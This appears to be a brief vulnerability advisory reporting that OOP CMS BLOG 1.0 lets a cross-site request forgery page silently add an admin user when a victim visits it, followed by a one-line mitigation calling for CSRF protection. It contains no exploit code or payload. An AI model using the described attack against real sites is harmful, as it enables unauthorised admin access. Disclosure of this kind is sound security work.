OOP CMS BLOG 1.0 – Cross-Site Request Forgery (Add Admin)

OOP CMS BLOG 1.0 is vulnerable to Cross-Site Request Forgery (CSRF) which allows an attacker to add an admin user to the application. An attacker can craft a malicious HTML page and send it to the victim. When the victim visits the malicious page, the attacker's request will be executed in the background and an admin user will be added to the application. This can be exploited to gain access to the application.

Mitigation:

The application should implement a CSRF protection mechanism to prevent attackers from exploiting this vulnerability.
